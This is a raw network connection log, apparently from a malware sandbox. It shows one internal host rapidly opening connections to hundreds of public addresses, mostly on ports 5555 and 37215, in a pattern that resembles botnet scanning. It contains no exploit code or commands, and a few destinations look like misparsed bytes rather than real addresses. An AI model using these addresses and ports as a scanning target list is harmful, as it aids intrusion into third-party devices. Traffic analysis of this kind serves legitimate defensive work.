Feb 12, 2023 21:25:03.971426010 CET	22272	5555	192.168.2.23	130.218.29.163
Feb 12, 2023 21:25:03.971424103 CET	22272	5555	192.168.2.23	184.20.23.91
Feb 12, 2023 21:25:03.971426010 CET	22272	5555	192.168.2.23	31.138.187.22
Feb 12, 2023 21:25:03.971431017 CET	22272	5555	192.168.2.23	109.247.68.184
Feb 12, 2023 21:25:03.971436024 CET	22272	5555	192.168.2.23	135.106.132.79
Feb 12, 2023 21:25:03.971440077 CET	22272	5555	192.168.2.23	20.183.110.223
Feb 12, 2023 21:25:03.971440077 CET	22272	5555	192.168.2.23	40.228.216.126
Feb 12, 2023 21:25:03.971436024 CET	22272	5555	192.168.2.23	207.65.194.30
Feb 12, 2023 21:25:03.971436024 CET	22272	5555	192.168.2.23	207.85.42.138
Feb 12, 2023 21:25:03.971450090 CET	22272	5555	192.168.2.23	129.69.26.162
Feb 12, 2023 21:25:03.971456051 CET	22272	5555	192.168.2.23	136.250.54.110
Feb 12, 2023 21:25:03.971457958 CET	22272	5555	192.168.2.23	112.157.90.245
Feb 12, 2023 21:25:03.971457958 CET	22272	5555	192.168.2.23	130.199.184.218
Feb 12, 2023 21:25:03.971518993 CET	22272	5555	192.168.2.23	4.79.48.231
Feb 12, 2023 21:25:03.971524000 CET	22272	5555	192.168.2.23	69.197.12.33
Feb 12, 2023 21:25:03.971615076 CET	22272	5555	192.168.2.23	141.106.69.154
Feb 12, 2023 21:25:03.971618891 CET	22272	5555	192.168.2.23	54.42.164.68
Feb 12, 2023 21:25:03.971637011 CET	22272	5555	192.168.2.23	47.206.167.100
Feb 12, 2023 21:25:03.971637011 CET	22272	5555	192.168.2.23	83.148.207.234
Feb 12, 2023 21:25:03.971643925 CET	22272	5555	192.168.2.23	90.1.164.246
Feb 12, 2023 21:25:03.971661091 CET	22272	5555	192.168.2.23	70.182.84.128
Feb 12, 2023 21:25:03.971719027 CET	22272	5555	192.168.2.23	146.229.104.243
Feb 12, 2023 21:25:03.971721888 CET	22272	5555	192.168.2.23	119.197.81.137
Feb 12, 2023 21:25:03.971731901 CET	22272	5555	192.168.2.23	216.56.115.223
Feb 12, 2023 21:25:03.971780062 CET	22272	5555	192.168.2.23	109.42.93.177
Feb 12, 2023 21:25:03.971779108 CET	22272	5555	192.168.2.23	216.224.200.132
Feb 12, 2023 21:25:03.971811056 CET	22272	5555	192.168.2.23	51.119.1.194
Feb 12, 2023 21:25:03.971843958 CET	22272	5555	192.168.2.23	49.93.152.133
Feb 12, 2023 21:25:03.971890926 CET	22272	5555	192.168.2.23	122.12.79.41
Feb 12, 2023 21:25:03.971899986 CET	22272	5555	192.168.2.23	173.20.79.195
Feb 12, 2023 21:25:03.971906900 CET	22272	5555	192.168.2.23	167.170.35.128
Feb 12, 2023 21:25:03.971921921 CET	22272	5555	192.168.2.23	116.155.56.81
Feb 12, 2023 21:25:03.971973896 CET	22272	5555	192.168.2.23	207.135.188.110
Feb 12, 2023 21:25:03.972002983 CET	22272	5555	192.168.2.23	27.67.84.228
Feb 12, 2023 21:25:03.972018957 CET	22272	5555	192.168.2.23	118.135.149.68
Feb 12, 2023 21:25:03.972023010 CET	22272	5555	192.168.2.23	118.110.56.199
Feb 12, 2023 21:25:03.972023010 CET	22272	5555	192.168.2.23	204.177.211.141
Feb 12, 2023 21:25:03.972062111 CET	22272	5555	192.168.2.23	128.111.100.229
Feb 12, 2023 21:25:03.972075939 CET	22272	5555	192.168.2.23	105.4.9.245
Feb 12, 2023 21:25:03.972107887 CET	22272	5555	192.168.2.23	44.181.141.69
Feb 12, 2023 21:25:03.972115993 CET	22272	5555	192.168.2.23	137.40.41.57
Feb 12, 2023 21:25:03.972237110 CET	22272	5555	192.168.2.23	77.36.248.79
Feb 12, 2023 21:25:03.972255945 CET	22272	5555	192.168.2.23	206.209.126.118
Feb 12, 2023 21:25:03.972292900 CET	22272	5555	192.168.2.23	44.131.115.199
Feb 12, 2023 21:25:03.972306013 CET	22272	5555	192.168.2.23	161.224.54.64
Feb 12, 2023 21:25:03.972306013 CET	22272	5555	192.168.2.23	168.160.65.42
Feb 12, 2023 21:25:03.972306013 CET	22272	5555	192.168.2.23	202.70.14.194
Feb 12, 2023 21:25:03.972307920 CET	22272	5555	192.168.2.23	59.247.53.161
Feb 12, 2023 21:25:03.972309113 CET	22272	5555	192.168.2.23	89.151.207.141
Feb 12, 2023 21:25:03.972309113 CET	22272	5555	192.168.2.23	183.144.168.254
Feb 12, 2023 21:25:03.972307920 CET	22272	5555	192.168.2.23	151.3.30.156
Feb 12, 2023 21:25:03.972311974 CET	22272	5555	192.168.2.23	155.129.246.125
Feb 12, 2023 21:25:03.972311974 CET	22272	5555	192.168.2.23	216.228.183.49
Feb 12, 2023 21:25:03.972321033 CET	22272	5555	192.168.2.23	191.127.169.67
Feb 12, 2023 21:25:03.972321033 CET	22272	5555	192.168.2.23	178.113.167.238
Feb 12, 2023 21:25:03.972321033 CET	22272	5555	192.168.2.23	45.100.29.47
Feb 12, 2023 21:25:03.972353935 CET	22272	5555	192.168.2.23	109.219.191.21
Feb 12, 2023 21:25:03.972353935 CET	22272	5555	192.168.2.23	134.152.134.87
Feb 12, 2023 21:25:03.972353935 CET	22272	5555	192.168.2.23	113.139.138.6
Feb 12, 2023 21:25:03.972353935 CET	22272	5555	192.168.2.23	67.48.50.113
Feb 12, 2023 21:25:03.972364902 CET	22272	5555	192.168.2.23	1.147.168.234
Feb 12, 2023 21:25:03.972367048 CET	22272	5555	192.168.2.23	120.143.180.245
Feb 12, 2023 21:25:03.972368002 CET	22272	5555	192.168.2.23	71.4.120.20
Feb 12, 2023 21:25:03.972368002 CET	22272	5555	192.168.2.23	23.249.52.102
Feb 12, 2023 21:25:03.972368002 CET	22272	5555	192.168.2.23	146.134.114.246
Feb 12, 2023 21:25:03.972368002 CET	22272	5555	192.168.2.23	20.17.42.100
Feb 12, 2023 21:25:03.972373962 CET	22272	5555	192.168.2.23	120.14.111.43
Feb 12, 2023 21:25:03.972374916 CET	22272	5555	192.168.2.23	137.49.24.61
Feb 12, 2023 21:25:03.972373962 CET	22272	5555	192.168.2.23	145.3.174.36
Feb 12, 2023 21:25:03.972374916 CET	22272	5555	192.168.2.23	110.175.232.79
Feb 12, 2023 21:25:03.972387075 CET	22272	5555	192.168.2.23	169.215.212.6
Feb 12, 2023 21:25:03.972398043 CET	22272	5555	192.168.2.23	204.49.154.43
Feb 12, 2023 21:25:03.972449064 CET	22272	5555	192.168.2.23	9.120.182.176
Feb 12, 2023 21:25:03.972454071 CET	22272	5555	192.168.2.23	165.110.106.95
Feb 12, 2023 21:25:03.972454071 CET	22272	5555	192.168.2.23	59.123.120.228
Feb 12, 2023 21:25:03.972480059 CET	22272	5555	192.168.2.23	142.9.224.198
Feb 12, 2023 21:25:03.972511053 CET	22272	5555	192.168.2.23	2.45.212.102
Feb 12, 2023 21:25:03.972568989 CET	22272	5555	192.168.2.23	62.162.82.6
Feb 12, 2023 21:25:03.972573042 CET	22272	5555	192.168.2.23	126.57.208.150
Feb 12, 2023 21:25:03.972588062 CET	22272	5555	192.168.2.23	34.210.120.141
Feb 12, 2023 21:25:03.972595930 CET	22272	5555	192.168.2.23	69.34.174.236
Feb 12, 2023 21:25:03.972599030 CET	22272	5555	192.168.2.23	158.168.202.19
Feb 12, 2023 21:25:03.972522974 CET	22272	5555	192.168.2.23	165.74.101.197
Feb 12, 2023 21:25:03.972522974 CET	22272	5555	192.168.2.23	66.169.218.144
Feb 12, 2023 21:25:03.972642899 CET	22272	5555	192.168.2.23	53.30.139.238
Feb 12, 2023 21:25:03.972522974 CET	22272	5555	192.168.2.23	102.64.170.235
Feb 12, 2023 21:25:03.972681999 CET	22272	5555	192.168.2.23	221.27.44.231
Feb 12, 2023 21:25:03.972681999 CET	22272	5555	192.168.2.23	164.0.178.34
Feb 12, 2023 21:25:03.972816944 CET	22272	5555	192.168.2.23	1.241.150.17
Feb 12, 2023 21:25:03.972816944 CET	22272	5555	192.168.2.23	65.176.232.68
Feb 12, 2023 21:25:03.972816944 CET	22272	5555	192.168.2.23	97.151.150.250
Feb 12, 2023 21:25:03.972816944 CET	22272	5555	192.168.2.23	156.26.231.213
Feb 12, 2023 21:25:03.972866058 CET	22272	5555	192.168.2.23	38.81.62.58
Feb 12, 2023 21:25:03.972866058 CET	22272	5555	192.168.2.23	177.178.68.180
Feb 12, 2023 21:25:03.972867012 CET	22272	5555	192.168.2.23	112.222.57.254
Feb 12, 2023 21:25:03.972866058 CET	22272	5555	192.168.2.23	25.7.173.29
Feb 12, 2023 21:25:03.972867966 CET	22272	5555	192.168.2.23	84.30.255.56
Feb 12, 2023 21:25:03.972876072 CET	22272	5555	192.168.2.23	17.196.89.195
Feb 12, 2023 21:25:03.972875118 CET	22272	5555	192.168.2.23	149.128.78.144
Feb 12, 2023 21:25:03.972876072 CET	22272	5555	192.168.2.23	180.167.11.37
Feb 12, 2023 21:25:03.972906113 CET	22272	5555	192.168.2.23	167.216.221.156
Feb 12, 2023 21:25:03.972906113 CET	22272	5555	192.168.2.23	159.131.23.215
Feb 12, 2023 21:25:03.972906113 CET	22272	5555	192.168.2.23	75.246.218.128
Feb 12, 2023 21:25:03.972906113 CET	22272	5555	192.168.2.23	135.133.179.242
Feb 12, 2023 21:25:03.972917080 CET	22272	5555	192.168.2.23	144.86.184.225
Feb 12, 2023 21:25:03.972918987 CET	22272	5555	192.168.2.23	49.183.33.21
Feb 12, 2023 21:25:03.972918987 CET	22272	5555	192.168.2.23	210.248.157.254
Feb 12, 2023 21:25:03.972924948 CET	22272	5555	192.168.2.23	133.69.238.139
Feb 12, 2023 21:25:03.972925901 CET	22272	5555	192.168.2.23	194.176.216.104
Feb 12, 2023 21:25:03.972925901 CET	22272	5555	192.168.2.23	208.134.172.40
Feb 12, 2023 21:25:03.972930908 CET	22272	5555	192.168.2.23	105.101.165.15
Feb 12, 2023 21:25:03.972935915 CET	22272	5555	192.168.2.23	77.184.50.129
Feb 12, 2023 21:25:03.972935915 CET	22272	5555	192.168.2.23	98.170.109.84
Feb 12, 2023 21:25:03.972938061 CET	22272	5555	192.168.2.23	194.49.7.82
Feb 12, 2023 21:25:03.972956896 CET	22272	5555	192.168.2.23	91.208.26.153
Feb 12, 2023 21:25:03.972958088 CET	22272	5555	192.168.2.23	221.77.151.156
Feb 12, 2023 21:25:03.972965956 CET	22272	5555	192.168.2.23	108.169.115.102
Feb 12, 2023 21:25:03.972965956 CET	22272	5555	192.168.2.23	13.57.143.172
Feb 12, 2023 21:25:03.973004103 CET	22272	5555	192.168.2.23	161.84.231.125
Feb 12, 2023 21:25:03.973037958 CET	22272	5555	192.168.2.23	120.148.99.120
Feb 12, 2023 21:25:03.973067999 CET	22272	5555	192.168.2.23	98.192.155.170
Feb 12, 2023 21:25:03.973068953 CET	22272	5555	192.168.2.23	76.223.64.232
Feb 12, 2023 21:25:03.973114967 CET	22272	5555	192.168.2.23	162.192.52.213
Feb 12, 2023 21:25:03.973155975 CET	22272	5555	192.168.2.23	101.93.99.15
Feb 12, 2023 21:25:03.973160028 CET	22272	5555	192.168.2.23	83.77.125.25
Feb 12, 2023 21:25:03.973172903 CET	22272	5555	192.168.2.23	94.109.169.87
Feb 12, 2023 21:25:03.973217964 CET	22272	5555	192.168.2.23	80.85.173.95
Feb 12, 2023 21:25:03.973221064 CET	22272	5555	192.168.2.23	219.24.238.51
Feb 12, 2023 21:25:03.973273039 CET	22272	5555	192.168.2.23	210.88.157.40
Feb 12, 2023 21:25:03.973287106 CET	22272	5555	192.168.2.23	220.176.105.193
Feb 12, 2023 21:25:03.973314047 CET	22272	5555	192.168.2.23	97.159.61.236
Feb 12, 2023 21:25:03.973321915 CET	22272	5555	192.168.2.23	51.37.238.207
Feb 12, 2023 21:25:03.973321915 CET	22272	5555	192.168.2.23	18.153.171.57
Feb 12, 2023 21:25:03.973321915 CET	22272	5555	192.168.2.23	178.98.246.38
Feb 12, 2023 21:25:03.973360062 CET	22272	5555	192.168.2.23	126.231.15.12
Feb 12, 2023 21:25:03.973375082 CET	22272	5555	192.168.2.23	106.78.180.34
Feb 12, 2023 21:25:03.973404884 CET	22272	5555	192.168.2.23	155.18.216.246
Feb 12, 2023 21:25:03.973412991 CET	22272	5555	192.168.2.23	65.138.182.211
Feb 12, 2023 21:25:03.973458052 CET	22272	5555	192.168.2.23	139.150.199.64
Feb 12, 2023 21:25:03.973463058 CET	22272	5555	192.168.2.23	51.21.47.113
Feb 12, 2023 21:25:03.973485947 CET	22272	5555	192.168.2.23	137.243.78.185
Feb 12, 2023 21:25:03.973505020 CET	22272	5555	192.168.2.23	200.242.102.177
Feb 12, 2023 21:25:03.973567009 CET	22272	5555	192.168.2.23	87.162.124.192
Feb 12, 2023 21:25:03.973576069 CET	22272	5555	192.168.2.23	106.19.123.237
Feb 12, 2023 21:25:03.973592043 CET	22272	5555	192.168.2.23	187.237.247.157
Feb 12, 2023 21:25:03.973611116 CET	22272	5555	192.168.2.23	84.44.90.245
Feb 12, 2023 21:25:03.973632097 CET	22272	5555	192.168.2.23	119.38.42.79
Feb 12, 2023 21:25:03.973664045 CET	22272	5555	192.168.2.23	72.138.252.168
Feb 12, 2023 21:25:03.973678112 CET	22272	5555	192.168.2.23	164.93.47.16
Feb 12, 2023 21:25:03.973706007 CET	22272	5555	192.168.2.23	65.5.254.131
Feb 12, 2023 21:25:03.973742962 CET	22272	5555	192.168.2.23	128.13.14.209
Feb 12, 2023 21:25:03.973779917 CET	22272	5555	192.168.2.23	156.220.234.161
Feb 12, 2023 21:25:03.983041048 CET	55212	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:03.983040094 CET	55214	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:03.983042955 CET	55964	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:03.983041048 CET	55216	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:03.983040094 CET	55218	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.015088081 CET	55220	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:25:04.050189972 CET	5555	22272	156.220.234.161	192.168.2.23
Feb 12, 2023 21:25:04.085491896 CET	5555	22272	141.106.69.154	192.168.2.23
Feb 12, 2023 21:25:04.142920017 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:04.164237976 CET	33922	8080	192.168.2.23	52.46.56.46
Feb 12, 2023 21:25:04.233021975 CET	5555	22272	207.65.194.30	192.168.2.23
Feb 12, 2023 21:25:04.271095037 CET	36012	81	192.168.2.23	49.56.57.46
Feb 12, 2023 21:25:04.302995920 CET	38514	80	192.168.2.23	53.46.56.53
Feb 12, 2023 21:25:04.303003073 CET	49606	80	192.168.2.23	55.56.46.55
Feb 12, 2023 21:25:04.303003073 CET	55804	80	192.168.2.23	53.46.49.48
Feb 12, 2023 21:25:04.303003073 CET	49488	80	192.168.2.23	53.46.51.50
Feb 12, 2023 21:25:04.303004026 CET	37082	80	192.168.2.23	54.50.46.49
Feb 12, 2023 21:25:04.303004026 CET	47950	80	192.168.2.23	52.50.46.51
Feb 12, 2023 21:25:04.306942940 CET	52981	37215	192.168.2.23	111.182.224.195
Feb 12, 2023 21:25:04.306968927 CET	52981	37215	192.168.2.23	157.26.61.129
Feb 12, 2023 21:25:04.306968927 CET	52981	37215	192.168.2.23	41.141.203.58
Feb 12, 2023 21:25:04.306969881 CET	52981	37215	192.168.2.23	157.139.98.200
Feb 12, 2023 21:25:04.306968927 CET	52981	37215	192.168.2.23	197.6.45.88
Feb 12, 2023 21:25:04.306982994 CET	52981	37215	192.168.2.23	197.38.28.76
Feb 12, 2023 21:25:04.307038069 CET	52981	37215	192.168.2.23	202.76.227.164
Feb 12, 2023 21:25:04.307038069 CET	52981	37215	192.168.2.23	41.106.215.130
Feb 12, 2023 21:25:04.307046890 CET	52981	37215	192.168.2.23	157.135.141.91
Feb 12, 2023 21:25:04.307046890 CET	52981	37215	192.168.2.23	197.24.41.194
Feb 12, 2023 21:25:04.307075977 CET	52981	37215	192.168.2.23	78.8.254.217
Feb 12, 2023 21:25:04.307087898 CET	52981	37215	192.168.2.23	157.223.64.63
Feb 12, 2023 21:25:04.307137012 CET	52981	37215	192.168.2.23	197.109.216.35
Feb 12, 2023 21:25:04.307146072 CET	52981	37215	192.168.2.23	63.215.241.164
Feb 12, 2023 21:25:04.307149887 CET	52981	37215	192.168.2.23	41.232.229.150
Feb 12, 2023 21:25:04.307173014 CET	52981	37215	192.168.2.23	41.87.61.79
Feb 12, 2023 21:25:04.307173967 CET	52981	37215	192.168.2.23	157.133.181.7
Feb 12, 2023 21:25:04.307173967 CET	52981	37215	192.168.2.23	157.227.182.88
Feb 12, 2023 21:25:04.307178974 CET	52981	37215	192.168.2.23	155.168.41.61
Feb 12, 2023 21:25:04.307178974 CET	52981	37215	192.168.2.23	150.32.72.113
Feb 12, 2023 21:25:04.307189941 CET	52981	37215	192.168.2.23	194.244.228.215
Feb 12, 2023 21:25:04.307235003 CET	52981	37215	192.168.2.23	41.23.170.99
Feb 12, 2023 21:25:04.307246923 CET	52981	37215	192.168.2.23	197.26.161.30
Feb 12, 2023 21:25:04.307267904 CET	52981	37215	192.168.2.23	41.5.116.132
Feb 12, 2023 21:25:04.307269096 CET	52981	37215	192.168.2.23	136.121.176.156
Feb 12, 2023 21:25:04.307290077 CET	52981	37215	192.168.2.23	90.148.146.112
Feb 12, 2023 21:25:04.307336092 CET	52981	37215	192.168.2.23	157.104.131.182
Feb 12, 2023 21:25:04.307358027 CET	52981	37215	192.168.2.23	41.64.223.189
Feb 12, 2023 21:25:04.307393074 CET	52981	37215	192.168.2.23	197.19.158.111
Feb 12, 2023 21:25:04.307419062 CET	52981	37215	192.168.2.23	197.150.25.117
Feb 12, 2023 21:25:04.307450056 CET	52981	37215	192.168.2.23	157.253.16.12
Feb 12, 2023 21:25:04.307456970 CET	52981	37215	192.168.2.23	41.144.39.59
Feb 12, 2023 21:25:04.307475090 CET	52981	37215	192.168.2.23	157.218.46.131
Feb 12, 2023 21:25:04.307498932 CET	52981	37215	192.168.2.23	41.172.99.95
Feb 12, 2023 21:25:04.307498932 CET	52981	37215	192.168.2.23	197.144.43.108
Feb 12, 2023 21:25:04.307503939 CET	52981	37215	192.168.2.23	23.71.92.154
Feb 12, 2023 21:25:04.307547092 CET	52981	37215	192.168.2.23	197.167.23.137
Feb 12, 2023 21:25:04.307547092 CET	52981	37215	192.168.2.23	41.177.161.186
Feb 12, 2023 21:25:04.307538986 CET	52981	37215	192.168.2.23	157.40.144.149
Feb 12, 2023 21:25:04.307580948 CET	52981	37215	192.168.2.23	197.53.133.104
Feb 12, 2023 21:25:04.307604074 CET	52981	37215	192.168.2.23	157.27.255.156
Feb 12, 2023 21:25:04.307611942 CET	52981	37215	192.168.2.23	98.212.1.163
Feb 12, 2023 21:25:04.307619095 CET	52981	37215	192.168.2.23	157.47.167.178
Feb 12, 2023 21:25:04.307619095 CET	52981	37215	192.168.2.23	17.149.231.253
Feb 12, 2023 21:25:04.307619095 CET	52981	37215	192.168.2.23	41.35.246.133
Feb 12, 2023 21:25:04.307638884 CET	52981	37215	192.168.2.23	197.59.161.199
Feb 12, 2023 21:25:04.307662964 CET	52981	37215	192.168.2.23	197.9.41.218
Feb 12, 2023 21:25:04.307672977 CET	52981	37215	192.168.2.23	41.59.167.97
Feb 12, 2023 21:25:04.307693005 CET	52981	37215	192.168.2.23	157.141.93.50
Feb 12, 2023 21:25:04.307724953 CET	52981	37215	192.168.2.23	197.62.138.7
Feb 12, 2023 21:25:04.307729959 CET	52981	37215	192.168.2.23	41.5.238.42
Feb 12, 2023 21:25:04.307758093 CET	52981	37215	192.168.2.23	157.153.30.179
Feb 12, 2023 21:25:04.307765007 CET	52981	37215	192.168.2.23	41.106.144.159
Feb 12, 2023 21:25:04.307791948 CET	52981	37215	192.168.2.23	197.133.29.214
Feb 12, 2023 21:25:04.307806015 CET	52981	37215	192.168.2.23	197.92.241.7
Feb 12, 2023 21:25:04.307820082 CET	52981	37215	192.168.2.23	83.11.205.53
Feb 12, 2023 21:25:04.307853937 CET	52981	37215	192.168.2.23	160.131.76.49
Feb 12, 2023 21:25:04.307878017 CET	52981	37215	192.168.2.23	153.15.140.17
Feb 12, 2023 21:25:04.307889938 CET	52981	37215	192.168.2.23	41.11.24.189
Feb 12, 2023 21:25:04.307924032 CET	52981	37215	192.168.2.23	157.152.67.70
Feb 12, 2023 21:25:04.307934999 CET	52981	37215	192.168.2.23	197.218.45.113
Feb 12, 2023 21:25:04.307957888 CET	52981	37215	192.168.2.23	41.206.118.54
Feb 12, 2023 21:25:04.307979107 CET	52981	37215	192.168.2.23	197.64.141.128
Feb 12, 2023 21:25:04.307991982 CET	52981	37215	192.168.2.23	41.95.95.23
Feb 12, 2023 21:25:04.308018923 CET	52981	37215	192.168.2.23	130.167.175.46
Feb 12, 2023 21:25:04.308018923 CET	52981	37215	192.168.2.23	24.157.202.95
Feb 12, 2023 21:25:04.308027983 CET	52981	37215	192.168.2.23	197.229.149.157
Feb 12, 2023 21:25:04.308018923 CET	52981	37215	192.168.2.23	162.104.19.210
Feb 12, 2023 21:25:04.308058977 CET	52981	37215	192.168.2.23	157.35.40.29
Feb 12, 2023 21:25:04.308082104 CET	52981	37215	192.168.2.23	157.100.98.65
Feb 12, 2023 21:25:04.308084965 CET	52981	37215	192.168.2.23	197.199.222.50
Feb 12, 2023 21:25:04.308105946 CET	52981	37215	192.168.2.23	170.101.34.27
Feb 12, 2023 21:25:04.308123112 CET	52981	37215	192.168.2.23	67.134.223.69
Feb 12, 2023 21:25:04.308146954 CET	52981	37215	192.168.2.23	41.247.206.158
Feb 12, 2023 21:25:04.308147907 CET	52981	37215	192.168.2.23	41.13.18.45
Feb 12, 2023 21:25:04.308165073 CET	52981	37215	192.168.2.23	197.237.32.214
Feb 12, 2023 21:25:04.308178902 CET	52981	37215	192.168.2.23	41.142.18.75
Feb 12, 2023 21:25:04.308187962 CET	52981	37215	192.168.2.23	197.19.237.31
Feb 12, 2023 21:25:04.308233976 CET	52981	37215	192.168.2.23	197.79.254.139
Feb 12, 2023 21:25:04.308233023 CET	52981	37215	192.168.2.23	157.123.188.253
Feb 12, 2023 21:25:04.308264017 CET	52981	37215	192.168.2.23	157.23.241.73
Feb 12, 2023 21:25:04.308284998 CET	52981	37215	192.168.2.23	41.88.150.3
Feb 12, 2023 21:25:04.308306932 CET	52981	37215	192.168.2.23	197.101.15.210
Feb 12, 2023 21:25:04.308322906 CET	52981	37215	192.168.2.23	41.166.92.130
Feb 12, 2023 21:25:04.308332920 CET	52981	37215	192.168.2.23	157.6.188.116
Feb 12, 2023 21:25:04.308363914 CET	52981	37215	192.168.2.23	157.16.11.33
Feb 12, 2023 21:25:04.308378935 CET	52981	37215	192.168.2.23	41.232.117.124
Feb 12, 2023 21:25:04.308396101 CET	52981	37215	192.168.2.23	197.123.193.118
Feb 12, 2023 21:25:04.308448076 CET	52981	37215	192.168.2.23	61.222.204.2
Feb 12, 2023 21:25:04.308449984 CET	52981	37215	192.168.2.23	41.69.74.132
Feb 12, 2023 21:25:04.308470964 CET	52981	37215	192.168.2.23	157.168.203.176
Feb 12, 2023 21:25:04.308485985 CET	52981	37215	192.168.2.23	41.214.50.152
Feb 12, 2023 21:25:04.308520079 CET	52981	37215	192.168.2.23	157.46.55.209
Feb 12, 2023 21:25:04.308521032 CET	52981	37215	192.168.2.23	145.125.87.106
Feb 12, 2023 21:25:04.308543921 CET	52981	37215	192.168.2.23	197.45.30.113
Feb 12, 2023 21:25:04.308581114 CET	52981	37215	192.168.2.23	41.82.190.200
Feb 12, 2023 21:25:04.308599949 CET	52981	37215	192.168.2.23	157.35.254.74
Feb 12, 2023 21:25:04.308650017 CET	52981	37215	192.168.2.23	157.135.43.160
Feb 12, 2023 21:25:04.308675051 CET	52981	37215	192.168.2.23	197.106.124.70
Feb 12, 2023 21:25:04.308696985 CET	52981	37215	192.168.2.23	197.221.14.15
Feb 12, 2023 21:25:04.308723927 CET	52981	37215	192.168.2.23	197.19.72.128
Feb 12, 2023 21:25:04.308723927 CET	52981	37215	192.168.2.23	41.128.154.84
Feb 12, 2023 21:25:04.308723927 CET	52981	37215	192.168.2.23	157.6.120.124
Feb 12, 2023 21:25:04.308723927 CET	52981	37215	192.168.2.23	157.70.240.250
Feb 12, 2023 21:25:04.308737993 CET	52981	37215	192.168.2.23	41.77.90.181
Feb 12, 2023 21:25:04.308748007 CET	52981	37215	192.168.2.23	137.59.68.48
Feb 12, 2023 21:25:04.308778048 CET	52981	37215	192.168.2.23	201.225.163.65
Feb 12, 2023 21:25:04.308809996 CET	52981	37215	192.168.2.23	197.206.29.184
Feb 12, 2023 21:25:04.308811903 CET	52981	37215	192.168.2.23	197.166.130.130
Feb 12, 2023 21:25:04.308814049 CET	52981	37215	192.168.2.23	41.48.199.222
Feb 12, 2023 21:25:04.308821917 CET	52981	37215	192.168.2.23	41.38.250.128
Feb 12, 2023 21:25:04.308824062 CET	52981	37215	192.168.2.23	197.144.48.171
Feb 12, 2023 21:25:04.308829069 CET	52981	37215	192.168.2.23	197.71.140.68
Feb 12, 2023 21:25:04.308846951 CET	52981	37215	192.168.2.23	157.150.100.134
Feb 12, 2023 21:25:04.308849096 CET	52981	37215	192.168.2.23	197.81.15.230
Feb 12, 2023 21:25:04.308861971 CET	52981	37215	192.168.2.23	41.20.204.5
Feb 12, 2023 21:25:04.308883905 CET	52981	37215	192.168.2.23	41.120.163.253
Feb 12, 2023 21:25:04.308902025 CET	52981	37215	192.168.2.23	41.241.102.186
Feb 12, 2023 21:25:04.308913946 CET	52981	37215	192.168.2.23	197.198.251.51
Feb 12, 2023 21:25:04.308912992 CET	52981	37215	192.168.2.23	157.108.212.246
Feb 12, 2023 21:25:04.308947086 CET	52981	37215	192.168.2.23	158.59.236.38
Feb 12, 2023 21:25:04.308957100 CET	52981	37215	192.168.2.23	121.81.42.25
Feb 12, 2023 21:25:04.308984995 CET	52981	37215	192.168.2.23	140.96.30.94
Feb 12, 2023 21:25:04.308990002 CET	52981	37215	192.168.2.23	157.207.54.226
Feb 12, 2023 21:25:04.309010029 CET	52981	37215	192.168.2.23	24.178.98.187
Feb 12, 2023 21:25:04.309021950 CET	52981	37215	192.168.2.23	12.58.232.24
Feb 12, 2023 21:25:04.309053898 CET	52981	37215	192.168.2.23	197.100.149.4
Feb 12, 2023 21:25:04.309057951 CET	52981	37215	192.168.2.23	157.254.125.24
Feb 12, 2023 21:25:04.309061050 CET	52981	37215	192.168.2.23	124.230.31.190
Feb 12, 2023 21:25:04.309058905 CET	52981	37215	192.168.2.23	41.93.178.98
Feb 12, 2023 21:25:04.309072018 CET	52981	37215	192.168.2.23	105.81.32.96
Feb 12, 2023 21:25:04.309097052 CET	52981	37215	192.168.2.23	197.14.0.144
Feb 12, 2023 21:25:04.309129953 CET	52981	37215	192.168.2.23	157.65.222.63
Feb 12, 2023 21:25:04.309134960 CET	52981	37215	192.168.2.23	186.87.21.28
Feb 12, 2023 21:25:04.309143066 CET	52981	37215	192.168.2.23	195.221.56.4
Feb 12, 2023 21:25:04.309153080 CET	52981	37215	192.168.2.23	197.93.69.251
Feb 12, 2023 21:25:04.309178114 CET	52981	37215	192.168.2.23	9.169.167.150
Feb 12, 2023 21:25:04.309221983 CET	52981	37215	192.168.2.23	171.83.103.131
Feb 12, 2023 21:25:04.309228897 CET	52981	37215	192.168.2.23	36.40.61.67
Feb 12, 2023 21:25:04.309236050 CET	52981	37215	192.168.2.23	41.52.18.81
Feb 12, 2023 21:25:04.309228897 CET	52981	37215	192.168.2.23	197.249.79.10
Feb 12, 2023 21:25:04.309261084 CET	52981	37215	192.168.2.23	221.119.29.47
Feb 12, 2023 21:25:04.309264898 CET	52981	37215	192.168.2.23	64.30.12.167
Feb 12, 2023 21:25:04.309283018 CET	52981	37215	192.168.2.23	168.192.175.253
Feb 12, 2023 21:25:04.309298992 CET	52981	37215	192.168.2.23	197.142.123.97
Feb 12, 2023 21:25:04.309333086 CET	52981	37215	192.168.2.23	197.176.1.71
Feb 12, 2023 21:25:04.309334040 CET	52981	37215	192.168.2.23	8.63.228.53
Feb 12, 2023 21:25:04.309340000 CET	52981	37215	192.168.2.23	157.42.17.12
Feb 12, 2023 21:25:04.309396029 CET	52981	37215	192.168.2.23	41.232.10.118
Feb 12, 2023 21:25:04.309398890 CET	52981	37215	192.168.2.23	48.87.91.148
Feb 12, 2023 21:25:04.309428930 CET	52981	37215	192.168.2.23	197.231.246.22
Feb 12, 2023 21:25:04.309446096 CET	52981	37215	192.168.2.23	157.12.176.225
Feb 12, 2023 21:25:04.309473038 CET	52981	37215	192.168.2.23	185.103.254.134
Feb 12, 2023 21:25:04.309498072 CET	52981	37215	192.168.2.23	41.101.157.165
Feb 12, 2023 21:25:04.309509039 CET	52981	37215	192.168.2.23	197.7.246.232
Feb 12, 2023 21:25:04.309520006 CET	52981	37215	192.168.2.23	90.93.42.61
Feb 12, 2023 21:25:04.309529066 CET	52981	37215	192.168.2.23	197.71.82.204
Feb 12, 2023 21:25:04.309555054 CET	52981	37215	192.168.2.23	41.179.63.238
Feb 12, 2023 21:25:04.309498072 CET	52981	37215	192.168.2.23	85.226.73.103
Feb 12, 2023 21:25:04.309498072 CET	52981	37215	192.168.2.23	41.230.67.126
Feb 12, 2023 21:25:04.309583902 CET	52981	37215	192.168.2.23	197.195.75.157
Feb 12, 2023 21:25:04.309608936 CET	52981	37215	192.168.2.23	197.246.63.127
Feb 12, 2023 21:25:04.309636116 CET	52981	37215	192.168.2.23	157.158.102.154
